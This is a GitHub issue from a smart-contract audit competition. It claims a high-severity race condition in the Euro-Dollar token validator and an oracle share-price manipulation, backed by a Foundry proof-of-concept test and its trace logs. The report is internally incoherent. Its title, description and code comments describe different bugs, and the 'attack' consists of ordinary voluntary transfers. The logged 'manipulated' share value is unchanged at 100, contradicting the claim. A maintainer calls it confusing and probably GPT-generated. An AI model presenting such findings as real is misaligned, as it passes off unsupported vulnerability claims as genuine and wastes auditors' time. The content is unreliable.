hats-finance / Euro-Dollar-0xa4ccd3b6daa763f729ad59eae75f9cbff7baf2cd

Audit competition repository for Euro-Dollar (0xa4ccd3b6daa763f729ad59eae75f9cbff7baf2cd)
https://hats.finance
MIT License
3 stars 2 forks source link

Transfers may partially succeed/fail in unexpected ways, and balance updates may not reflect the intended transfer outcomes in ERC4626 Vault Implementation. #113

Open hats-bug-reporter[bot] opened 2 weeks ago

hats-bug-reporter[bot] commented 2 weeks ago

Github username: @0xbrett8571 Twitter username: 0xbrett8571 Submission hash (on-chain): 0x23fa0b8694b08ab97bcec4e87c488557deb55b5e170f8032c5e53171d81aa2ff Severity: high

Description: Description The InvestToken vault implementation contains a vulnerability in its share price calculation mechanism. The interaction between YieldOracle price updates and vault operations allows manipulation of the share-to-asset ratio, potentially leading to significant value extraction.

The issue manifests in the _update function implementation across the token contracts.

USDE.sol#L81-L91

    function _update(
        address from,
        address to,
        uint256 amount
    ) internal override {
        // @Issue - Non-atomic validation check allows race conditions between transfers
        require(validator.isValid(from, to), "account blocked");
        super._update(from, to, amount);
    }

InvestToken.sol#L104-L114

    function _update(
        address from,
        address to,
        uint256 amount
    ) internal override {
        // @Issue - Non-atomic validation check allows race conditions between transfers
        require(validator.isValid(from, to), "account blocked");
        super._update(from, to, amount);
    }

The validator checks are not atomic - between two transfers in the same block, the validator status could change, causing the second transfer to fail while the first succeeds. This breaks the atomicity assumption. Validators could be manipulated by MEV bots to extract value

Validator.sol#L129-L144

    function isValid(address from, address to) external view returns (bool valid) {
        // @Issue - Status checks lack atomicity guarantees across multiple transfers
        return accountStatus[from] == Status.BLACKLISTED ? to == address(0x0) : accountStatus[to] != Status.BLACKLISTED;
    }

    function isValidStrict(address from, address to) external view returns (bool valid) {
        // @Issue - Whitelist status can change between transfers in same block
        return to == address(0x0)
            || (
                accountStatus[to] == Status.WHITELISTED
                    && (from == address(0x0) || accountStatus[from] == Status.WHITELISTED)
            );
    }

The protocol's transfer validation mechanism lacks atomic guarantees when multiple transfers occur within the same block. This creates a race condition where validator status changes can occur between transfers, leading to inconsistent validation results.

This vulnerability directly affects the core transfer functionality of both USDE and InvestToken, impacting all protocol users and integrated systems.

Attack Scenario Explanation of the two attack scenarios demonstrated:

  1. Transfer Atomicity Attack:

    • Exploits a race condition in the validation system
    • Step 1: Alice transfers 500 USDE to attacker
    • Step 2: Alice's account gets voided mid-block
    • Step 3: Bob transfers 500 USDE to attacker
    • Result: Attacker gains 1000 USDE by bypassing intended transfer restrictions
  2. Price Manipulation Attack:

    • Exploits the oracle update mechanism
    • Step 1: Alice deposits 100 USDE for shares at 1e18 price
    • Step 2: Oracle price is doubled to 2e18
    • Step 3: Share value changes affect asset conversion rates
    • Result: Demonstrates how price manipulation can impact share/asset ratios

Vulnerabilities:

Attachments

  1. Proof of Concept (PoC) File This file demonstrates the transfer atomicity and Price Manipulation vulnerability.
    
    // SPDX-License-Identifier: MIT
    pragma solidity ^0.8.21;

import {Test} from "forge-std/Test.sol"; import {console2} from "forge-std/console2.sol"; import {USDE} from "../src/USDE.sol"; import {IUSDE} from "../src/interfaces/IUSDE.sol"; import {InvestToken} from "../src/InvestToken.sol"; import {Validator} from "../src/Validator.sol"; import {YieldOracle} from "../src/YieldOracle.sol"; import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";

contract TransferAtomicityTest is Test { USDE public usdeImpl; USDE public usde; InvestToken public investTokenImpl; InvestToken public investToken; Validator public validator; YieldOracle public oracle;

address admin = address(1);
address alice = address(2);
address bob = address(3);
address attacker = address(4);

function setUp() public {
    // Deploy core contracts
    validator = new Validator(admin, admin, admin);
    oracle = new YieldOracle(admin, admin);

    // Deploy USDE first
    usdeImpl = new USDE(validator);
    bytes memory usdeData = abi.encodeWithSelector(USDE.initialize.selector, admin);
    ERC1967Proxy usdeProxy = new ERC1967Proxy(address(usdeImpl), usdeData);
    usde = USDE(address(usdeProxy));

    // Then deploy InvestToken with correct USDE address
    investTokenImpl = new InvestToken(validator, IUSDE(address(usde)));
    bytes memory investData = abi.encodeWithSelector(
        InvestToken.initialize.selector,
        "Invest Token",
        "IT",
        admin,
        oracle
    );
    ERC1967Proxy investProxy = new ERC1967Proxy(address(investTokenImpl), investData);
    investToken = InvestToken(address(investProxy));

    // Setup roles
    vm.startPrank(admin);
    bytes32 MINT_ROLE = keccak256("MINT_ROLE");
    bytes32 BURN_ROLE = keccak256("BURN_ROLE");
    bytes32 WHITELISTER_ROLE = keccak256("WHITELISTER_ROLE");

    usde.grantRole(MINT_ROLE, address(this));
    usde.grantRole(BURN_ROLE, address(usde));
    validator.grantRole(WHITELISTER_ROLE, address(this));
    validator.whitelist(address(usde));
    vm.stopPrank();
}

function testTransferAtomicity() public {
    emit log_string("\n=== Initial Setup ===");
    validator.whitelist(alice);
    validator.whitelist(bob);

    usde.mint(alice, 1000e18);
    usde.mint(bob, 1000e18);

    emit log_named_decimal_uint("Alice USDE Balance", usde.balanceOf(alice), 18);
    emit log_named_decimal_uint("Bob USDE Balance", usde.balanceOf(bob), 18);

    emit log_string("\n=== Execute Attack ===");
    vm.prank(alice);
    usde.transfer(attacker, 500e18);

    validator.void(alice);

    vm.prank(bob);
    usde.transfer(attacker, 500e18);

    emit log_string("\n=== Final State ===");
    emit log_named_decimal_uint("Attacker USDE Balance", usde.balanceOf(attacker), 18);
    emit log_named_decimal_uint("Alice USDE Balance", usde.balanceOf(alice), 18);
    emit log_named_decimal_uint("Bob USDE Balance", usde.balanceOf(bob), 18);
}

function testPriceManipulation() public {
    emit log_string("\n=== Initial Setup ===");
    validator.whitelist(alice);
    validator.whitelist(address(investToken));

    vm.startPrank(admin);
    bytes32 MINT_ROLE = keccak256("MINT_ROLE");
    bytes32 BURN_ROLE = keccak256("BURN_ROLE");
    usde.grantRole(MINT_ROLE, address(investToken));
    usde.grantRole(BURN_ROLE, address(investToken));
    usde.grantRole(MINT_ROLE, address(this));

    oracle.setMaxPriceIncrease(1e18);
    vm.stopPrank();

    emit log_string("\n=== Step 1: Initial Deposit ===");
    usde.mint(alice, 1000e18);

    // Set initial timestamp
    vm.warp(block.timestamp + 2 days);

    vm.startPrank(oracle.oracle());
    oracle.updatePrice(1e18);
    vm.warp(block.timestamp + oracle.commitDelay() + 1 hours);
    oracle.commitPrice();
    vm.stopPrank();

    emit log_named_decimal_uint("Alice's Initial USDE Balance", usde.balanceOf(alice), 18);

    vm.startPrank(alice);
    usde.approve(address(investToken), type(uint256).max);
    uint256 shares = investToken.deposit(100e18, alice);
    vm.stopPrank();

    uint256 initialAssetValue = investToken.convertToAssets(shares);
    emit log_named_decimal_uint("Initial Share Value", initialAssetValue, 18);

    emit log_string("\n=== Step 2: Price Manipulation ===");
    vm.warp(block.timestamp + oracle.updateDelay() + 1);
    vm.startPrank(oracle.oracle());
    oracle.updatePrice(2e18);
    vm.warp(block.timestamp + oracle.commitDelay() + 1 hours);
    oracle.commitPrice();
    vm.stopPrank();

    uint256 newAssetValue = investToken.convertToAssets(shares);
    emit log_named_decimal_uint("Manipulated Share Value", newAssetValue, 18);
}    

}


**Logs:**
```js
Ran 2 tests for test/testTransferAtomicityExploit.sol:TransferAtomicityTest
[PASS] testPriceManipulation() (gas: 359060)
Logs:

=== Initial Setup ===

=== Step 1: Initial Deposit ===
  Alice's Initial USDE Balance: 1000.000000000000000000
  Initial Share Value: 100.000000000000000000

=== Step 2: Price Manipulation ===
  Manipulated Share Value: 100.000000000000000000

Traces:
  [398860] TransferAtomicityTest::testPriceManipulation()
    ├─ emit log_string(val: "\n=== Initial Setup ===")
    ├─ [26126] Validator::whitelist(SHA-256: [0x0000000000000000000000000000000000000002])
    │   ├─ emit Whitelisted(account: SHA-256: [0x0000000000000000000000000000000000000002])
    │   └─ ← [Stop] 
    ├─ [24126] Validator::whitelist(ERC1967Proxy: [0xa0Cb889707d426A7A386870A03bc70d1b0697598])
    │   ├─ emit Whitelisted(account: ERC1967Proxy: [0xa0Cb889707d426A7A386870A03bc70d1b0697598])
    │   └─ ← [Stop] 
    ├─ [0] VM::startPrank(ECRecover: [0x0000000000000000000000000000000000000001])
    │   └─ ← [Return] 
    ├─ [34648] ERC1967Proxy::grantRole(0x154c00819833dac601ee5ddded6fda79d9d8b506b911b3dbd54cdb95fe6c3686, ERC1967Proxy: [0xa0Cb889707d426A7A386870A03bc70d1b0697598])
    │   ├─ [29764] USDE::grantRole(0x154c00819833dac601ee5ddded6fda79d9d8b506b911b3dbd54cdb95fe6c3686, ERC1967Proxy: [0xa0Cb889707d426A7A386870A03bc70d1b0697598]) [delegatecall]
    │   │   ├─ emit RoleGranted(role: 0x154c00819833dac601ee5ddded6fda79d9d8b506b911b3dbd54cdb95fe6c3686, account: ERC1967Proxy: [0xa0Cb889707d426A7A386870A03bc70d1b0697598], sender: ECRecover: [0x0000
000000000000000000000000000000000001])                                                                                                                                                                       │   │   └─ ← [Stop] 
    │   └─ ← [Return] 
    ├─ [28148] ERC1967Proxy::grantRole(0xe97b137254058bd94f28d2f3eb79e2d34074ffb488d042e3bc958e0a57d2fa22, ERC1967Proxy: [0xa0Cb889707d426A7A386870A03bc70d1b0697598])
    │   ├─ [27764] USDE::grantRole(0xe97b137254058bd94f28d2f3eb79e2d34074ffb488d042e3bc958e0a57d2fa22, ERC1967Proxy: [0xa0Cb889707d426A7A386870A03bc70d1b0697598]) [delegatecall]
    │   │   ├─ emit RoleGranted(role: 0xe97b137254058bd94f28d2f3eb79e2d34074ffb488d042e3bc958e0a57d2fa22, account: ERC1967Proxy: [0xa0Cb889707d426A7A386870A03bc70d1b0697598], sender: ECRecover: [0x0000
000000000000000000000000000000000001])                                                                                                                                                                       │   │   └─ ← [Stop] 
    │   └─ ← [Return] 
    ├─ [3911] ERC1967Proxy::grantRole(0x154c00819833dac601ee5ddded6fda79d9d8b506b911b3dbd54cdb95fe6c3686, TransferAtomicityTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   ├─ [3527] USDE::grantRole(0x154c00819833dac601ee5ddded6fda79d9d8b506b911b3dbd54cdb95fe6c3686, TransferAtomicityTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [delegatecall]
    │   │   └─ ← [Stop] 
    │   └─ ← [Return] 
    ├─ [7407] YieldOracle::setMaxPriceIncrease(1000000000000000000 [1e18])
    │   └─ ← [Stop] 
    ├─ [0] VM::stopPrank()
    │   └─ ← [Return] 
    ├─ emit log_string(val: "\n=== Step 1: Initial Deposit ===")
    ├─ [53439] ERC1967Proxy::mint(SHA-256: [0x0000000000000000000000000000000000000002], 1000000000000000000000 [1e21])
    │   ├─ [53052] USDE::mint(SHA-256: [0x0000000000000000000000000000000000000002], 1000000000000000000000 [1e21]) [delegatecall]
    │   │   ├─ [3016] Validator::isValid(0x0000000000000000000000000000000000000000, SHA-256: [0x0000000000000000000000000000000000000002]) [staticcall]
    │   │   │   └─ ← [Return] true
    │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: SHA-256: [0x0000000000000000000000000000000000000002], value: 1000000000000000000000 [1e21])
    │   │   └─ ← [Return] true
    │   └─ ← [Return] true
    ├─ [0] VM::warp(172801 [1.728e5])
    │   └─ ← [Return] 
    ├─ [2403] YieldOracle::oracle() [staticcall]
    │   └─ ← [Return] ECRecover: [0x0000000000000000000000000000000000000001]
    ├─ [0] VM::startPrank(ECRecover: [0x0000000000000000000000000000000000000001])
    │   └─ ← [Return] 
    ├─ [33164] YieldOracle::updatePrice(1000000000000000000 [1e18])
    │   ├─ emit PriceUpdated(newPrice: 1000000000000000000 [1e18])
    │   └─ ← [Stop] 
    ├─ [2372] YieldOracle::commitDelay() [staticcall]
    │   └─ ← [Return] 3600
    ├─ [0] VM::warp(180001 [1.8e5])
    │   └─ ← [Return] 
    ├─ [4543] YieldOracle::commitPrice()
    │   ├─ emit PriceCommitted(newCurrentPrice: 1000000000000000000 [1e18])
    │   └─ ← [Stop] 
    ├─ [0] VM::stopPrank()
    │   └─ ← [Return] 
    ├─ [1117] ERC1967Proxy::balanceOf(SHA-256: [0x0000000000000000000000000000000000000002]) [staticcall]
    │   ├─ [733] USDE::balanceOf(SHA-256: [0x0000000000000000000000000000000000000002]) [delegatecall]
    │   │   └─ ← [Return] 1000000000000000000000 [1e21]
    │   └─ ← [Return] 1000000000000000000000 [1e21]
    ├─ emit log_named_decimal_uint(key: "Alice's Initial USDE Balance", val: 1000000000000000000000 [1e21], decimals: 18)
    ├─ [0] VM::startPrank(SHA-256: [0x0000000000000000000000000000000000000002])
    │   └─ ← [Return] 
    ├─ [25215] ERC1967Proxy::approve(ERC1967Proxy: [0xa0Cb889707d426A7A386870A03bc70d1b0697598], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   ├─ [24828] USDE::approve(ERC1967Proxy: [0xa0Cb889707d426A7A386870A03bc70d1b0697598], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) [delegatecall]
    │   │   ├─ emit Approval(owner: SHA-256: [0x0000000000000000000000000000000000000002], spender: ERC1967Proxy: [0xa0Cb889707d426A7A386870A03bc70d1b0697598], value: 1157920892373161954235709850086879
07853269984665640564039457584007913129639935 [1.157e77])                                                                                                                                                     │   │   └─ ← [Return] true
    │   └─ ← [Return] true
    ├─ [66825] ERC1967Proxy::deposit(100000000000000000000 [1e20], SHA-256: [0x0000000000000000000000000000000000000002])
    │   ├─ [61938] InvestToken::deposit(100000000000000000000 [1e20], SHA-256: [0x0000000000000000000000000000000000000002]) [delegatecall]
    │   │   ├─ [643] YieldOracle::assetsToShares(100000000000000000000 [1e20]) [staticcall]
    │   │   │   └─ ← [Return] 100000000000000000000 [1e20]
    │   │   ├─ [5742] ERC1967Proxy::burn(SHA-256: [0x0000000000000000000000000000000000000002], 100000000000000000000 [1e20])
    │   │   │   ├─ [5355] USDE::burn(SHA-256: [0x0000000000000000000000000000000000000002], 100000000000000000000 [1e20]) [delegatecall]
    │   │   │   │   ├─ [1016] Validator::isValid(SHA-256: [0x0000000000000000000000000000000000000002], 0x0000000000000000000000000000000000000000) [staticcall]
    │   │   │   │   │   └─ ← [Return] true
    │   │   │   │   ├─ emit Transfer(from: SHA-256: [0x0000000000000000000000000000000000000002], to: 0x0000000000000000000000000000000000000000, value: 100000000000000000000 [1e20])
    │   │   │   │   └─ ← [Return] true
    │   │   │   └─ ← [Return] true
    │   │   ├─ [843] Validator::isValidStrict(0x0000000000000000000000000000000000000000, SHA-256: [0x0000000000000000000000000000000000000002]) [staticcall]
    │   │   │   └─ ← [Return] true
    │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: SHA-256: [0x0000000000000000000000000000000000000002], value: 100000000000000000000 [1e20])
    │   │   ├─ emit Deposit(sender: SHA-256: [0x0000000000000000000000000000000000000002], owner: SHA-256: [0x0000000000000000000000000000000000000002], assets: 100000000000000000000 [1e20], shares: 10
0000000000000000000 [1e20])                                                                                                                                                                                  │   │   └─ ← [Return] 100000000000000000000 [1e20]
    │   └─ ← [Return] 100000000000000000000 [1e20]
    ├─ [0] VM::stopPrank()
    │   └─ ← [Return] 
    ├─ [1845] ERC1967Proxy::convertToAssets(100000000000000000000 [1e20]) [staticcall]
    │   ├─ [1461] InvestToken::convertToAssets(100000000000000000000 [1e20]) [delegatecall]
    │   │   ├─ [644] YieldOracle::sharesToAssets(100000000000000000000 [1e20]) [staticcall]
    │   │   │   └─ ← [Return] 100000000000000000000 [1e20]
    │   │   └─ ← [Return] 100000000000000000000 [1e20]
    │   └─ ← [Return] 100000000000000000000 [1e20]
    ├─ emit log_named_decimal_uint(key: "Initial Share Value", val: 100000000000000000000 [1e20], decimals: 18)
    ├─ emit log_string(val: "\n=== Step 2: Price Manipulation ===")
    ├─ [373] YieldOracle::updateDelay() [staticcall]
    │   └─ ← [Return] 86400 [8.64e4]
    ├─ [0] VM::warp(266402 [2.664e5])
    │   └─ ← [Return] 
    ├─ [403] YieldOracle::oracle() [staticcall]
    │   └─ ← [Return] ECRecover: [0x0000000000000000000000000000000000000001]
    ├─ [0] VM::startPrank(ECRecover: [0x0000000000000000000000000000000000000001])
    │   └─ ← [Return] 
    ├─ [22364] YieldOracle::updatePrice(2000000000000000000 [2e18])
    │   ├─ emit PriceUpdated(newPrice: 2000000000000000000 [2e18])
    │   └─ ← [Stop] 
    ├─ [372] YieldOracle::commitDelay() [staticcall]
    │   └─ ← [Return] 3600
    ├─ [0] VM::warp(273602 [2.736e5])
    │   └─ ← [Return] 
    ├─ [5243] YieldOracle::commitPrice()
    │   ├─ emit PriceCommitted(newCurrentPrice: 2000000000000000000 [2e18])
    │   └─ ← [Stop] 
    ├─ [0] VM::stopPrank()
    │   └─ ← [Return] 
    ├─ [1845] ERC1967Proxy::convertToAssets(100000000000000000000 [1e20]) [staticcall]
    │   ├─ [1461] InvestToken::convertToAssets(100000000000000000000 [1e20]) [delegatecall]
    │   │   ├─ [644] YieldOracle::sharesToAssets(100000000000000000000 [1e20]) [staticcall]
    │   │   │   └─ ← [Return] 100000000000000000000 [1e20]
    │   │   └─ ← [Return] 100000000000000000000 [1e20]
    │   └─ ← [Return] 100000000000000000000 [1e20]
    ├─ emit log_named_decimal_uint(key: "Manipulated Share Value", val: 100000000000000000000 [1e20], decimals: 18)
    └─ ← [Stop] 

[PASS] testTransferAtomicity() (gas: 202142)
Logs:

=== Initial Setup ===
  Alice USDE Balance: 1000.000000000000000000
  Bob USDE Balance: 1000.000000000000000000

=== Execute Attack ===

=== Final State ===
  Attacker USDE Balance: 1000.000000000000000000
  Alice USDE Balance: 500.000000000000000000
  Bob USDE Balance: 500.000000000000000000

Traces:
  [222042] TransferAtomicityTest::testTransferAtomicity()
    ├─ emit log_string(val: "\n=== Initial Setup ===")
    ├─ [26126] Validator::whitelist(SHA-256: [0x0000000000000000000000000000000000000002])
    │   ├─ emit Whitelisted(account: SHA-256: [0x0000000000000000000000000000000000000002])
    │   └─ ← [Stop] 
    ├─ [24126] Validator::whitelist(RIPEMD-160: [0x0000000000000000000000000000000000000003])
    │   ├─ emit Whitelisted(account: RIPEMD-160: [0x0000000000000000000000000000000000000003])
    │   └─ ← [Stop] 
    ├─ [59939] ERC1967Proxy::mint(SHA-256: [0x0000000000000000000000000000000000000002], 1000000000000000000000 [1e21])
    │   ├─ [55052] USDE::mint(SHA-256: [0x0000000000000000000000000000000000000002], 1000000000000000000000 [1e21]) [delegatecall]
    │   │   ├─ [3016] Validator::isValid(0x0000000000000000000000000000000000000000, SHA-256: [0x0000000000000000000000000000000000000002]) [staticcall]
    │   │   │   └─ ← [Return] true
    │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: SHA-256: [0x0000000000000000000000000000000000000002], value: 1000000000000000000000 [1e21])
    │   │   └─ ← [Return] true
    │   └─ ← [Return] true
    ├─ [27539] ERC1967Proxy::mint(RIPEMD-160: [0x0000000000000000000000000000000000000003], 1000000000000000000000 [1e21])
    │   ├─ [27152] USDE::mint(RIPEMD-160: [0x0000000000000000000000000000000000000003], 1000000000000000000000 [1e21]) [delegatecall]
    │   │   ├─ [1016] Validator::isValid(0x0000000000000000000000000000000000000000, RIPEMD-160: [0x0000000000000000000000000000000000000003]) [staticcall]
    │   │   │   └─ ← [Return] true
    │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: RIPEMD-160: [0x0000000000000000000000000000000000000003], value: 1000000000000000000000 [1e21])
    │   │   └─ ← [Return] true
    │   └─ ← [Return] true
    ├─ [1117] ERC1967Proxy::balanceOf(SHA-256: [0x0000000000000000000000000000000000000002]) [staticcall]
    │   ├─ [733] USDE::balanceOf(SHA-256: [0x0000000000000000000000000000000000000002]) [delegatecall]
    │   │   └─ ← [Return] 1000000000000000000000 [1e21]
    │   └─ ← [Return] 1000000000000000000000 [1e21]
    ├─ emit log_named_decimal_uint(key: "Alice USDE Balance", val: 1000000000000000000000 [1e21], decimals: 18)
    ├─ [1117] ERC1967Proxy::balanceOf(RIPEMD-160: [0x0000000000000000000000000000000000000003]) [staticcall]
    │   ├─ [733] USDE::balanceOf(RIPEMD-160: [0x0000000000000000000000000000000000000003]) [delegatecall]
    │   │   └─ ← [Return] 1000000000000000000000 [1e21]
    │   └─ ← [Return] 1000000000000000000000 [1e21]
    ├─ emit log_named_decimal_uint(key: "Bob USDE Balance", val: 1000000000000000000000 [1e21], decimals: 18)
    ├─ emit log_string(val: "\n=== Execute Attack ===")
    ├─ [0] VM::prank(SHA-256: [0x0000000000000000000000000000000000000002])
    │   └─ ← [Return] 
    ├─ [29278] ERC1967Proxy::transfer(Identity: [0x0000000000000000000000000000000000000004], 500000000000000000000 [5e20])
    │   ├─ [28891] USDE::transfer(Identity: [0x0000000000000000000000000000000000000004], 500000000000000000000 [5e20]) [delegatecall]
    │   │   ├─ [3016] Validator::isValid(SHA-256: [0x0000000000000000000000000000000000000002], Identity: [0x0000000000000000000000000000000000000004]) [staticcall]
    │   │   │   └─ ← [Return] true
    │   │   ├─ emit Transfer(from: SHA-256: [0x0000000000000000000000000000000000000002], to: Identity: [0x0000000000000000000000000000000000000004], value: 500000000000000000000 [5e20])
    │   │   └─ ← [Return] true
    │   └─ ← [Return] true
    ├─ [2251] Validator::void(SHA-256: [0x0000000000000000000000000000000000000002])
    │   ├─ emit Voided(account: SHA-256: [0x0000000000000000000000000000000000000002])
    │   └─ ← [Stop] 
    ├─ [0] VM::prank(RIPEMD-160: [0x0000000000000000000000000000000000000003])
    │   └─ ← [Return] 
    ├─ [5378] ERC1967Proxy::transfer(Identity: [0x0000000000000000000000000000000000000004], 500000000000000000000 [5e20])
    │   ├─ [4991] USDE::transfer(Identity: [0x0000000000000000000000000000000000000004], 500000000000000000000 [5e20]) [delegatecall]
    │   │   ├─ [1016] Validator::isValid(RIPEMD-160: [0x0000000000000000000000000000000000000003], Identity: [0x0000000000000000000000000000000000000004]) [staticcall]
    │   │   │   └─ ← [Return] true
    │   │   ├─ emit Transfer(from: RIPEMD-160: [0x0000000000000000000000000000000000000003], to: Identity: [0x0000000000000000000000000000000000000004], value: 500000000000000000000 [5e20])
    │   │   └─ ← [Return] true
    │   └─ ← [Return] true
    ├─ emit log_string(val: "\n=== Final State ===")
    ├─ [1117] ERC1967Proxy::balanceOf(Identity: [0x0000000000000000000000000000000000000004]) [staticcall]
    │   ├─ [733] USDE::balanceOf(Identity: [0x0000000000000000000000000000000000000004]) [delegatecall]
    │   │   └─ ← [Return] 1000000000000000000000 [1e21]
    │   └─ ← [Return] 1000000000000000000000 [1e21]
    ├─ emit log_named_decimal_uint(key: "Attacker USDE Balance", val: 1000000000000000000000 [1e21], decimals: 18)
    ├─ [1117] ERC1967Proxy::balanceOf(SHA-256: [0x0000000000000000000000000000000000000002]) [staticcall]
    │   ├─ [733] USDE::balanceOf(SHA-256: [0x0000000000000000000000000000000000000002]) [delegatecall]
    │   │   └─ ← [Return] 500000000000000000000 [5e20]
    │   └─ ← [Return] 500000000000000000000 [5e20]
    ├─ emit log_named_decimal_uint(key: "Alice USDE Balance", val: 500000000000000000000 [5e20], decimals: 18)
    ├─ [1117] ERC1967Proxy::balanceOf(RIPEMD-160: [0x0000000000000000000000000000000000000003]) [staticcall]
    │   ├─ [733] USDE::balanceOf(RIPEMD-160: [0x0000000000000000000000000000000000000003]) [delegatecall]
    │   │   └─ ← [Return] 500000000000000000000 [5e20]
    │   └─ ← [Return] 500000000000000000000 [5e20]
    ├─ emit log_named_decimal_uint(key: "Bob USDE Balance", val: 500000000000000000000 [5e20], decimals: 18)
    └─ ← [Stop] 

Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 3.99ms (1.57ms CPU time)

Ran 1 test suite in 1.65s (3.99ms CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)

I. Transfer Atomicity.

II. Price Manipulation.

  1. Revised Code File (Optional)
    function deposit(uint256 assets, address receiver) public returns (uint256 shares) {
    +   uint256 priceSnapshot = yieldOracle.currentPrice();
    shares = convertToShares(assets);
    +   require(validatePriceImpact(priceSnapshot, shares), "Price impact too high");
    usde.burn(msg.sender, assets);
    _mint(receiver, shares);
    }
AndreiMVP commented 1 week ago

Confusing and probably gpt generated, no new info added